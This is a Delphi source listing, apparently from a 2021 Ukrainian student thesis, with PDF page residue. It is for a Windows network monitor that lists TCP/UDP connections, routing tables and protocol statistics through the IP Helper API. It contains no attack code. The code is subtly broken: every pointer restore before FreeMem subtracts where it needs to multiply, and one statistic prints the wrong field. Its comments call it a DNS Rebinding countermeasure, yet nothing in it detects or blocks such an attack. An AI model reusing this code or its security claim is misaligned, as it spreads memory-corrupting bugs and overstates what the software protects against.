            [IpAddr2Str( dwLocalAddr ), 
            Port2Svc( Port2Wrd( dwLocalPort ) ), 
              DestIP, 
              Port2Svc( Port2Wrd( dwRemotePort ) ), 
              TCPConnState[dwState] 
              ] ) ); 
         // 
            if (not ( dwRemoteAddr = 0 )) 
            and ( RecentIps.IndexOf(DestIP) =-1 ) then 
               RecentIPs.Add( DestIP ); 
        end; 
        inc( pBuf, SizeOf( TMIBTCPRow ) ); 
      end; 
    end; 
  end 
  else 
    List.Add( SyserrorMessage( ErrorCode ) ); 
  dec( pBuf, SizeOf( DWORD ) + NumEntries -SizeOf( TMibTCPRow ) ); 
  FreeMem( pBuf ); 
end; 
 
//----------------------------------- 
procedure Get_TCPStatistics( List: TStrings ); 
var 
  TCPStats      : TMibTCPStats; 
  ErrorCode     : DWORD; 
begin 
  if not Assigned( List ) then EXIT; 
  List.Clear; 
  if NOT LoadIpHlp then exit ; 
  ErrorCode := GetTCPStatistics( @TCPStats ); 
  if ErrorCode = NO_ERROR then 
    with TCPStats do 
    begin 
      List.Add( ‘ Алгоритм повторної передачі : ‘  + TCPToAlgo[dwRTOAlgorithm] 
); 
      List.Add( ‘ Мінімальний час виходу         : ‘  + IntToStr( dwRTOMin ) + ‘  
ms’  ); 
      List.Add( ‘ Максимальний час виходу         : ‘  + IntToStr( dwRTOMax ) + 
‘  ms’  ); 
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      List.Add( ‘ Максимальне число підключень : ‘  + IntToStr( dwRTOAlgorithm ) 
); 
      List.Add( ‘ Активні підключення             : ‘  + IntToStr( dwActiveOpens 
) ); 
      List.Add( ‘ пасивні підключення            : ‘  + IntToStr( dwPassiveOpens 
) ); 
      List.Add( ‘ Невдала спроба відкриття     : ‘  + IntToStr( dwAttemptFails ) 
); 
      List.Add( ‘ Скидання встановленого підключення  : ‘  + IntToStr( 
dwEstabResets ) ); 
      List.Add( ‘ Поточне встановлене підключення.: ‘  + IntToStr( dwCurrEstab ) 
); 
      List.Add( ‘ Отримані сегменти        : ‘  + IntToStr( dwInSegs ) ); 
      List.Add( ‘ Передані сегменти            : ‘  + IntToStr( dwOutSegs ) ); 
      List.Add( ‘ Перепідключені сегменти   : ‘  + IntToStr( dwReTransSegs ) ); 
      List.Add( ‘ помилка входу          : ‘  + IntToStr( dwInErrs ) ); 
      List.Add( ‘ Перезавантаження вихідних          : ‘  + IntToStr( dwOutRsts 
) ); 
      List.Add( ‘ Совокупні зв’ язки    : ‘  + IntToStr( dwNumConns ) ); 
    end 
  else 
    List.Add( SyserrorMessage( ErrorCode ) ); 
end; 
 
function IpHlpTCPStatistics (var TCPStats: TMibTCPStats): integer ; 
begin 
    result := ERROR_NOT_SUPPORTED ; 
    if NOT LoadIpHlp then exit ; 
    result := GetTCPStatistics( @TCPStats ); 
end; 
 
//----------------------------------- 
procedure Get_UDPTable( List: TStrings ); 
var 
  UDPRow        : TMIBUDPRow; 
  i, 
    NumEntries  : integer; 
  TableSize     : DWORD; 
  ErrorCode     : DWORD; 
  pBuf          : PChar; 
begin 
  if not Assigned( List ) then EXIT; 
  List.Clear; 
 
  // перший виклик: беремо довжину таблиці 
  TableSize := 0; 
  NumEntries := 0 ; 
  ErrorCode := GetUDPTable(Nil, @TableSize, false ); 
  if Errorcode <> ERROR_INSUFFICIENT_BUFFER then 
    EXIT; 
 
  // виділяємо пам’ ять, викликаємо знову 
  GetMem( pBuf, TableSize ); 
 
  // беремо таблицю 
  ErrorCode := GetUDPTable( PTMIBUDPTable( pBuf ), @TableSize, false ); 
  if ErrorCode = NO_ERROR then 
  begin 
    NumEntries := PTMIBUDPTable( pBuf )^.dwNumEntries; 
    if NumEntries > 0 then 
    begin 
      inc( pBuf, SizeOf( DWORD ) ); // беремо розмір останьої таблиці 
      for i := 1 to NumEntries do 
      begin 
        UDPRow := PTMIBUDPRow( pBuf )^; // беремо останій запис 
        with UDPRow do 
          List.Add( Format( ‘ %15s : %-6s’ , 
            [IpAddr2Str( dwLocalAddr ), 
            Port2Svc( Port2Wrd( dwLocalPort ) ) 
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              ] ) ); 
        inc( pBuf, SizeOf( TMIBUDPRow ) ); 
      end; 
    end 
    else 
      List.Add( ‘ немає даних.’  ); 
  end 
  else 
    List.Add( SyserrorMessage( ErrorCode ) ); 
  dec( pBuf, SizeOf( DWORD ) + NumEntries -SizeOf( TMibUDPRow ) ); 
  FreeMem( pBuf ); 
end; 
 
//----------------------------------- 
procedure Get_IPAddrTable( List: TStrings ); 
var 
  IPAddrRow     : TMibIPAddrRow; 
  TableSize     : DWORD; 
  ErrorCode     : DWORD; 
  i             : integer; 
  pBuf          : PChar; 
  NumEntries    : DWORD; 
begin 
  if not Assigned( List ) then EXIT; 
  List.Clear; 
  TableSize := 0; ; 
  NumEntries := 0 ; 
  // перший виклик: беремо довжину таблиці 
  ErrorCode := GetIpAddrTable(Nil, @TableSize, true );  // дані 
  if Errorcode <> ERROR_INSUFFICIENT_BUFFER then 
    EXIT; 
 
  GetMem( pBuf, TableSize ); 
  // беремо таблицю 
  ErrorCode := GetIpAddrTable( PTMibIPAddrTable( pBuf ), @TableSize, true ); 
  if ErrorCode = NO_ERROR then 
  begin 
    NumEntries := PTMibIPAddrTable( pBuf )^.dwNumEntries; 
    if NumEntries > 0 then 
    begin 
      inc( pBuf, SizeOf( DWORD ) ); 
      for i := 1 to NumEntries do 
      begin 
        IPAddrRow := PTMIBIPAddrRow( pBuf )^; 
        with IPAddrRow do 
          List.Add( Format( ‘ %8.8x | %15s | %15s | %15s | %8.8d’ , 
            [dwIndex, 
            IPAddr2Str( dwAddr ), 
              IPAddr2Str( dwMask ), 
              IPAddr2Str( dwBCastAddr ), 
              dwReasmSize 
              ] ) ); 
        inc( pBuf, SizeOf( TMIBIPAddrRow ) ); 
      end; 
    end 
    else 
      List.Add( ‘ немає даних.’  ); 
  end 
  else 
    List.Add( SysErrorMessage( ErrorCode ) ); 
 
  // відновлюємо показчик! 
  dec( pBuf, SizeOf( DWORD ) + NumEntries -SizeOf( IPAddrRow ) ); 
  FreeMem( pBuf ); 
end; 
 
//----------------------------------- 
{ отримуємо дані з таблиці маршрутизації системи кібербезпеки для протидії атаці 
DNS Rebinding; } 

Ка
фе
др
а_
Кб
ПЗ

_2021р
ік



 41 
procedure Get_IPForwardTable( List: TStrings ); 
var 
  IPForwRow     : TMibIPForwardRow; 
  TableSize     : DWORD; 
  ErrorCode     : DWORD; 
  i             : integer; 
  pBuf          : PChar; 
  NumEntries    : DWORD; 
begin 
 
  if not Assigned( List ) then EXIT; 
  List.Clear; 
  TableSize := 0; 
 
  // перший виклик: беремо довжину таблиці  
  NumEntries := 0 ; 
  ErrorCode := GetIpForwardTable(Nil, @TableSize, true); 
  if Errorcode <> ERROR_INSUFFICIENT_BUFFER then 
    EXIT; 
 
  // беремо таблицю 
  GetMem( pBuf, TableSize ); 
  ErrorCode := GetIpForwardTable( PTMibIPForwardTable( pBuf ), @TableSize, 
true); 
  if ErrorCode = NO_ERROR then 
  begin 
    NumEntries := PTMibIPForwardTable( pBuf )^.dwNumEntries; 
    if NumEntries > 0 then 
    begin 
      inc( pBuf, SizeOf( DWORD ) ); 
      for i := 1 to NumEntries do 
      begin 
        IPForwRow := PTMibIPForwardRow( pBuf )^; 
        with IPForwRow do 
        begin 
          if (dwForwardType < 1) 
          or (dwForwardType > 4) then 
                   dwForwardType := 1 ;   // дані 
          List.Add( Format( 
            ‘ %15s | %15s | %15s | %8.8x | %7s |   %5.5d |  %7s |   %2.2d’ , 
            [IPAddr2Str( dwForwardDest ), 
            IPAddr2Str( dwForwardMask ), 
              IPAddr2Str( dwForwardNextHop ), 
              dwForwardIFIndex, 
              IPForwTypes[dwForwardType], 
              dwForwardNextHopAS, 
              IPForwProtos[dwForwardProto], 
              dwForwardMetric1 
              ] ) ); 
        end ;        
        inc( pBuf, SizeOf( TMibIPForwardRow ) ); 
      end; 
    end 
    else 
      List.Add( ‘ немає даних.’  ); 
  end 
  else 
    List.Add( SysErrorMessage( ErrorCode ) ); 
  dec( pBuf, SizeOf( DWORD ) + NumEntries -SizeOf( TMibIPForwardRow ) ); 
  FreeMem( pBuf ); 
end; 
 
//----------------------------------- 
procedure Get_IPStatistics( List: TStrings ); 
var 
  IPStats       : TMibIPStats; 
  ErrorCode     : integer; 
begin 
  if not Assigned( List ) then EXIT; 
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  if NOT LoadIpHlp then exit ; 
  ErrorCode := GetIPStatistics( @IPStats ); 
  if ErrorCode = NO_ERROR then 
  begin 
    List.Clear; 
    with IPStats do 
    begin 
      if dwForwarding = 1 then 
        List.add( ‘ Розблокована пересилка      : ‘  + ‘ так’  ) 
      else 
        List.add(‘ Розблокована пересилка      : ‘  + ‘ ні’  ); 
      List.add( ‘ Любий TTL             : ‘  + inttostr( dwDefaultTTL ) ); 
      List.add( ‘ Датаграмма прийнята     : ‘  + inttostr( dwInReceives ) ); 
      List.add( ‘ Помилка заголовку      (In)  : ‘  + inttostr( dwInHdrErrors ) 
); 
      List.add( ‘ Помилка адреси    (In)  : ‘  + inttostr( dwInAddrErrors ) ); 
      List.add( ‘ Датаграма переслана     : ‘  + inttostr( dwForwDatagrams ) );   
// дані 
      List.add( ‘ Невизначений протокол (In)  : ‘  + inttostr( dwInUnknownProtos 
) ); 
      List.add( ‘ Датаграмма відмовлена     : ‘  + inttostr( dwInDiscards ) ); 
      List.add( ‘ Датаграма встановлена     : ‘  + inttostr( dwInDelivers ) ); 
      List.add( ‘ Зовнішній запрос            : ‘  + inttostr( dwOutRequests ) 
); 
      List.add( ‘ Маршрутизація не виконана      : ‘  + inttostr( 
dwRoutingDiscards ) ); 
      List.add( ‘ Немає маршрутів        (Out)  : ‘  + inttostr( dwOutNoRoutes ) 
); 
      List.add( ‘ Перебраний час     : ‘  + inttostr( dwReasmTimeOut ) ); 
      List.add( ‘ Запит перебору     : ‘  + inttostr( dwReasmReqds ) ); 
      List.add( ‘ Повний перебор : ‘  + inttostr( dwReasmOKs ) ); 
      List.add( ‘ Помилка перебору     : ‘  + inttostr( dwReasmFails ) ); 
      List.add( ‘ Повна фрагментація: ‘  + inttostr( dwFragOKs ) ); 
      List.add( ‘ Помилка фрагментації   : ‘  + inttostr( dwFragFails ) ); 
      List.add( ‘ Датаграмма фрагментована    : ‘  + inttostr( dwFRagCreates ) 
); 
      List.add( ‘ Кількість інтерфейсів    : ‘  + inttostr( dwNumIf ) ); 
      List.add( ‘ Кількість IP-адрес  : ‘  + inttostr( dwNumAddr ) ); 
      List.add( ‘ Маршрут в таблиці маршрутизатора  : ‘  + inttostr( dwNumRoutes 
) ); 
    end; 
  end 
  else 
    List.Add( SysErrorMessage( ErrorCode ) ); 
end; 
 
function IpHlpIPStatistics (var IPStats: TMibIPStats): integer ;      // дані 
begin 
    result := ERROR_NOT_SUPPORTED ; 
    if NOT LoadIpHlp then exit ; 
    result := GetIPStatistics( @IPStats ); 
end ; 
 
//----------------------------------- 
procedure Get_UdpStatistics( List: TStrings ); 
var 
  UdpStats      : TMibUDPStats; 
  ErrorCode     : integer; 
begin 
  if not Assigned( List ) then EXIT; 
  ErrorCode := GetUDPStatistics( @UdpStats ); 
  if ErrorCode = NO_ERROR then 
  begin 
    List.Clear; 
    with UDPStats do 
    begin 
      List.add( ‘ Датаграми (In)    : ‘  + inttostr( dwInDatagrams ) ); 
      List.add( ‘  Датаграми (Out)   : ‘  + inttostr( dwOutDatagrams ) ); 
      List.add( ‘ Немає портів         : ‘  + inttostr( dwNoPorts ) ); 
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      List.add( ‘ Помилка    (In)    : ‘  + inttostr( dwInErrors ) ); 
      List.add( ‘ UDP список портів  : ‘  + inttostr( dwNumAddrs ) ); 
    end; 
  end 
  else 
    List.Add( SysErrorMessage( ErrorCode ) ); 
end; 
 
//-------------------------------------*// 
function IpHlpUdpStatistics (UdpStats: TMibUDPStats): integer ;     // дані 
begin 
    result := ERROR_NOT_SUPPORTED ; 
    if NOT LoadIpHlp then exit ; 
    result := GetUDPStatistics (@UdpStats) ; 
end ; 
 
//----------------------------------- 
procedure Get_ICMPStats( ICMPIn, ICMPOut: TStrings ); 
var 
  ErrorCode     : DWORD; 
  ICMPStats     : PTMibICMPInfo; 
begin 
  if ( ICMPIn = nil ) or ( ICMPOut = nil ) then EXIT; 
  ICMPIn.Clear; 
  ICMPOut.Clear; 
  New( ICMPStats ); 
  ErrorCode := GetICMPStatistics( ICMPStats ); 
  if ErrorCode = NO_ERROR then 
  begin 
    with ICMPStats.InStats do 
    begin 
      ICMPIn.Add( ‘  Прийнято повідомлень    : ‘  + IntToStr( dwMsgs ) ); 
      ICMPIn.Add( ‘ Помилка               : ‘  + IntToStr( dwErrors ) ); 
      ICMPIn.Add( ‘ Розташування недосягенно    : ‘  + IntToStr( dwDestUnreachs 
) ); 
      ICMPIn.Add( ‘ Час перевищений        : ‘  + IntToStr( dwTimeEcxcds ) ); 
      ICMPIn.Add( ‘ Проблеми з параметрами      : ‘  + IntToStr( dwParmProbs ) 
); 
      ICMPIn.Add( ‘ Джерело відключено        : ‘  + IntToStr( dwSrcQuenchs ) ); 
      ICMPIn.Add( ‘ Переназначено            : ‘  + IntToStr( dwRedirects ) ); 
      ICMPIn.Add( ‘ Ехо запит        : ‘  + IntToStr( dwEchos ) ); 
      ICMPIn.Add( ‘ Ехо відповідь         : ‘  + IntToStr( dwEchoReps ) ); 
      ICMPIn.Add( ‘ Запит мітки часу   : ‘  + IntToStr( dwTimeStamps ) ); 
      ICMPIn.Add( ‘ Відповідь мітки часу    : ‘  + IntToStr( dwTimeStampReps ) 
); 
      ICMPIn.Add( ‘ Запит маски адрес : ‘  + IntToStr( dwAddrMasks ) ); 
      ICMPIn.Add( ‘ Відповідь маски адрес   : ‘  + IntToStr( dwAddrReps ) ); 
    end; 
     // 
    with ICMPStats.OutStats do 
    begin 
      ICMPOut.Add( ‘ Повідомлення вдправлено        : ‘  + IntToStr( dwMsgs ) ); 
      ICMPOut.Add( ‘Помилка               : ‘  + IntToStr( dwErrors ) ); 
      ICMPOut.Add( ‘Розташування недосягенно    : ‘  + IntToStr( dwDestUnreachs 
) ); 
      ICMPOut.Add( ‘Час перевищений        : ‘  + IntToStr( dwTimeEcxcds ) ); 
      ICMPOut.Add( ‘Проблеми з параметрами      : ‘  + IntToStr( dwParmProbs ) 
); 
      ICMPOut.Add( ‘Джерело відключено        : ‘  + IntToStr( dwSrcQuenchs ) ); 
      ICMPOut.Add( ‘Переназначено            : ‘  + IntToStr( dwRedirects ) ); 
      ICMPOut.Add( ‘Ехо запит        : ‘  + IntToStr( dwEchos ) ); 
      ICMPOut.Add( ‘Ехо відповідь         : ‘  + IntToStr( dwEchoReps ) ); 
      ICMPOut.Add( ‘Запит мітки часу   : ‘  + IntToStr( dwTimeStamps ) ); 
      ICMPOut.Add( ‘Відповідь мітки часу    : ‘  + IntToStr( dwTimeStampReps ) 
); 
      ICMPOut.Add( ‘Запит маски адрес: ‘  + IntToStr( dwAddrMasks ) ); 
      ICMPOut.Add( ‘Відповідь маски адрес   : ‘  + IntToStr( dwAddrReps ) ); 
    end; 
  end 
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  else 
    IcmpIn.Add( SysErrorMessage( ErrorCode ) ); 
  Dispose( ICMPStats ); 
end; 
 
//----------------------------------- 
procedure Get_RecentDestIPs( List: TStrings ); 
begin 
  if Assigned( List ) then 
    List.Assign( RecentIPs ) 
end; 
 
initialization 
 
  RecentIPs := TStringList.Create; 
 
finalization 
 
  RecentIPs.Free; 
 
end. 
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Файл TCP_IP.pas- монітор TCP/IP з’єднань системи кібербезпеки для протидії атаці 

DNS Rebinding 
 

 
unit TCP_IP; 
 
interface 
 
uses 
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
  Dialogs, StdCtrls, ExtCtrls, IPHelper, IpHlpApi, Buttons; 
 
type 
  TForm2 = class(TForm) 
    StaticText2: TStaticText; 
    StaticText3: TStaticText; 
    TCPMemo: TMemo; 
    UDPMemo: TMemo; 
    Timer1: TTimer; 
    cbTimer: TCheckBox; 
    btRTTI: TSpeedButton; 
    SpeedButton1: TSpeedButton; 
    edtRTTI: TEdit; 
    procedure Timer1Timer(Sender: TObject); 
    procedure SpeedButton1Click(Sender: TObject); 
    procedure btRTTIClick(Sender: TObject); 
    procedure cbRecentIPsClick(Sender: TObject); 
    procedure FormCreate(Sender: TObject); 
  private 
    { Private declarations } 
      procedure DOIpStuff; 
  public 
    { Public declarations } 
  end; 
 
var 
  Form2: TForm2; 
 
implementation 
 
{$R *.dfm} 
 
procedure TForm2.Timer1Timer(Sender: TObject); 
begin 
  if cbTimer.State = cbCHECKED then 
 begin 
   Timer1.Enabled := false; 
   DoIPStuff; 
   Timer1.Enabled := true; 
 end; 
end; 
 
procedure TForm2.DOIpStuff; 
begin 
 
  Get_TCPTable( TCPMemo.Lines ); 
  Get_UDPTable( UDPMemo.Lines ); 
 
end; 
 
procedure TForm2.SpeedButton1Click(Sender: TObject); 
begin 
  Speedbutton1.Enabled := false; 
  DoIPStuff; 
  Speedbutton1.Enabled := true; 
end; 
 
procedure TForm2.btRTTIClick(Sender: TObject); 
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var 
  IPadr         : dword; 
  Rtt, HopCount : longint; 
  Res           : integer; 
begin 
  btRTTI.Enabled := false; 
  Screen.Cursor := crHOURGLASS; 
  IPadr := Str2IPAddr( edtRTTI.Text ); 
  Res := Get_RTTAndHopCount( IPadr, 128, RTT, HopCount ); 
  if Res = NO_ERROR then 
    ShowMessage( ‘  Час запиту ‘  
      + inttostr( rtt ) + ‘  ms, ‘  
      + inttostr( HopCount ) 
      + ‘  hops to : ‘  + edtRTTI.Text 
      ) 
  else 
    ShowMessage( ‘ Відбулася помилка:’  + #13 
                 + ICMPErr2Str( Res ) ) ; 
  btRTTI.Enabled := true; 
  Screen.Cursor := crDEFAULT; 
 
end; 
 
procedure TForm2.cbRecentIPsClick(Sender: TObject); 
begin 
//edtRTTI.Text := cbRecentIPs.Items[cbRecentIPs.ItemIndex]; 
end; 
 
procedure TForm2.FormCreate(Sender: TObject); 
begin 
 
  if LoadIpHlp then 
  begin 
      DOIpStuff; 
      Timer1.Enabled := true; 
  end 
  else 
      ShowMessage( ‘ Інтернет помічник DLL не є доступним, або не підтримується’ 
) ; 
end; 
 
end. 
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Файл Stat.pas- статистика системи кібербезпеки для протидії атаці DNS Rebinding 
 

 
unit Stat; 
 
interface 
 
uses 
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
  Dialogs, StdCtrls, ExtCtrls, IPHelper, IpHlpApi, Buttons; 
 
type 
  TForm3 = class(TForm) 
    StaticText7: TStaticText; 
    TCPStatMemo: TMemo; 
    StaticText5: TStaticText; 
    IPStatsMemo: TMemo; 
    StaticText12: TStaticText; 
    ICMPInMemo: TMemo; 
    ICMPOutMemo: TMemo; 
    StaticText4: TStaticText; 
    UDPStatsMemo: TMemo; 
    Timer1: TTimer; 
    cbTimer: TCheckBox; 
    btRTTI: TSpeedButton; 
    edtRTTI: TEdit; 
    procedure Timer1Timer(Sender: TObject); 
    procedure btRTTIClick(Sender: TObject); 
    procedure FormCreate(Sender: TObject); 
  private 
    { Private declarations } 
     procedure DOIpStuff; 
  public 
    { Public declarations } 
  end; 
 
var 
  Form3: TForm3; 
 
implementation 
 
{$R *.dfm} 
 
procedure TForm3.DOIpStuff; 
begin 
 
  Get_TCPStatistics( TCPStatMemo.Lines ); 
  Get_IPStatistics( IPStatsMemo.Lines ); 
  Get_UDPStatistics( UDPStatsMemo.Lines ); 
  Get_ICMPStats( ICMPInMemo.Lines, ICMPOutMemo.Lines ); 
 
end; 
 
procedure TForm3.Timer1Timer(Sender: TObject); 
begin 
  if cbTimer.State = cbCHECKED then 
 begin 
   Timer1.Enabled := false; 
   DoIPStuff; 
   Timer1.Enabled := true; 
 end; 
end; 
 
procedure TForm3.btRTTIClick(Sender: TObject); 
var 
  IPadr         : dword; 
  Rtt, HopCount : longint; 
  Res           : integer; 
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begin 
  btRTTI.Enabled := false; 
  Screen.Cursor := crHOURGLASS; 
  IPadr := Str2IPAddr( edtRTTI.Text ); 
  Res := Get_RTTAndHopCount( IPadr, 128, RTT, HopCount ); 
  if Res = NO_ERROR then 
    ShowMessage( ‘  Час запиту ‘  
      + inttostr( rtt ) + ‘  ms, ‘  
      + inttostr( HopCount ) 
      + ‘  hops to : ‘  + edtRTTI.Text 
      ) 
  else 
    ShowMessage( ‘ Помилка:’  + #13 
                 + ICMPErr2Str( Res ) ) ; 
  btRTTI.Enabled := true; 
  Screen.Cursor := crDEFAULT; 
 
end; 
 
procedure TForm3.FormCreate(Sender: TObject); 
begin 
 
  if LoadIpHlp then 
  begin 
      DOIpStuff; 
      Timer1.Enabled := true; 
  end 
  else 
      ShowMessage( ‘Інтернет помічник DLL не є доступним, або не підтримується’ 
) ; 
end; 
 
end. 
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Файл About.pas - довідка 
 
 
unit About; 
 
interface 
 
uses 
  Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms, 
  Dialogs, StdCtrls, ExtCtrls; 
 
type 
  TForm1 = class(TForm) 
    Label1: TLabel; 
    Label2: TLabel; 
    Label3: TLabel; 
    Label4: TLabel; 
    Label5: TLabel; 
    Label7: TLabel; 
    Label8: TLabel; 
    Label9: TLabel; 
    Button1: TButton; 
    Image2: TImage; 
    Image1: TImage; 
    Image3: TImage; 
    procedure Button1Click(Sender: TObject); 
  private 
    { Private declarations } 
  public 
    { Public declarations } 
  end; 
 
var 
  Form1: TForm1; 
 
implementation 
 
{$R *.dfm} 
 
procedure TForm1.Button1Click(Sender: TObject); 
begin 
Form1.Close; 
end; 
 
end. 
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